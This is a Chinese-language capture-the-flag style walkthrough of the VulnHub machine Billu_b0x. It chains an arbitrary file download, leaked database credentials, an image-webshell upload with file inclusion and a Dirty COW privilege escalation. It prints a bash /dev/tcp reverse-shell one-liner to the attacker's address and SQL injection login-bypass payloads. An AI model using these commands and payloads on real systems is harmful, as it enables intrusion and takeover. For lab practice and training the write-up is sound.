vulnhub靶场,Billu_b0x

vulnhub靶场,Billu_b0x

环境准备

靶机下载地址:https://www.vulnhub.com/entry/billu-b0x,188/
攻击机:kali(192.168.109.128)
靶机:Billu_b0x(192.168.109.130)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式

信息收集

使用arp-scan确定目标靶机

确定目标靶机IP为192.168.109.130
使用nmap扫描查看目标靶机端口开放情况

开放端口:22、80
浏览器访问目标靶机80端口

页面竟然提醒要我们展示我们的SQL注入技巧,可以说是很嚣张了,构造万能密码常用的payload:1 or 1=1--+ 或者 1' or 1=1 --+,但是发现都不能成功

使用sqlmap试试
随便输入一些账号密码,进行抓包,在un的后面加入*,看看这里是否存在SQL注入

sqlmap.py -r C:\Users\随便\Desktop\sql --batch --level=5 --risk=3


用sqlmap也跑不出来,那这里先不管这个注入了
网站目录结构扫描,使用一个大字典

dirb http://192.168.109.130/ /usr/share/dirb/wordlists/big.txt


依次访问以下这些网站
add.php页面

发现是一个文件上传的页面,上传一个文件试试

上传上去后发现页面一点反应都没有,看来是来迷惑我们的
c.php网页
一片空白

head.php网页

in.php网页

可以看到PHP Version 5.3.10-1ubuntu3.26
show.php网页
一片空白
test.php网页

这里说’file’参数为空。请在file参数中提供文件路径,说明很有可能含有一个文件包含漏洞,包含密码文件试试

发现失败了,看来可能不是get方式进行传参,使用POST的方式试试

可以看到当我们执行后,passwd文件自动下载下来了,说明确实是POST的方式进行传参,所以这里存在一个任意文件下载漏洞
uploaded_images网页

应该是一个存在照片的位置
phymy网页

数据库的管理系统,但是不知道账号密码是什么

渗透过程

前面通过信息收集已经确定了test.php页面是存在一个任意文件下载漏洞的
首先利用漏洞将网站主页源码下载下来

这里可以看到主页源码里面是有网站首页SQL注入的过滤规则的,这里我们后面再说
利用漏洞下载c.php的源码

很好,里面含有数据库的连接账号和密码,使用这个账号密码去登入phpmy的网页

登入成功,查看ica_lab库下的auth表成功获得网站首页的账号和密码

使用这个账号密码登入网站首页

登入成功,网站自动跳转到panel.php页面
左边下拉框选择Add User,发现可以上传文件

上传php文件试试

屏幕回显只支持png、jpg、jpeg文件,看来是白名单过滤,那只能先上传图片码去寻找文件包含漏洞去解析它了


上传成功,根据前面的信息收集我们可以确定图片上传的位置

使用任意文件下载漏洞将panel.php页面源码下载到本地,使用代码审计工具去审一下,看是否有漏洞

可以看到这个页面存在一个文件包含漏洞,结合源码和工具分析,是页面点击continue,POST内容里会去包含文件而引发文件包含漏洞

POST的内容我们去包含上传图片码的位置

可以看到,我们上传的图片码能成功解析
现在可以去反弹shell了
kali终端:

然后使用bash结合重定向的方法

echo "bash -i >& /dev/tcp/192.168.109.128/8888 0>&1" | bash

这里需要将语句进行url编码


可以看到kali这边成功反弹到一个shell

提权过程

查看操作系统版本

kali漏洞库查看linux3.13.0存在的漏洞

这里可以使用37292.c脏牛提权
将37292.c下载到本地

靶机这边寻找一个具有写权限的目录

find / -writable -type d 2>/dev/null


这里就使用上传照片存放的目录,然后在kali上开启一个临时服务器,靶机使用wget将37292.c下载到本地


将37292.c进行编译

执行攻击文件,成功提升权限为root

其他方式

再次查看网站首页源码

源码中出现的 \ ’ 符号,其中的反斜杠只是起到独立单引号的作用,这个时候可以将其当作一个字符串,同时它也不能起到闭合其他单引号的作用。
由于单引号是成对出现的,所以在单引号前面添加反斜杠可以让单引号独立出来,所以在这里可以构造如下的 payload 进行注入。

uname=or 1=1 --+
pass=111\

所以构造的数据库查询语句就变成如下:

$run='select * from auth where  pass='123\' and uname='or 1=1 --+'';

在 pass 中 111 后面的反斜杠就是让反斜杠后面的单引号独立出来,称为 pass 参数的一部分,在 uname= 后面的单引号刚好和
pass= 后面的单引号闭合,此时 pass= 111’ and uname= ,然后 “或” 上一个 1=1 永真条件



登入成功,后面的过程就和前面的一样的,上传图片码,利用文件包含漏洞去解析
还有一个特殊的文件,我们可以利用任意文件下载漏洞去查看phpmy的默认配置文件config.inc.php


查看其内容,可以得到一个用户名密码:root:roottoor,进行远程连接

连接成功,直接就是root权限,至此,Billu_b0x靶机渗透结束

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值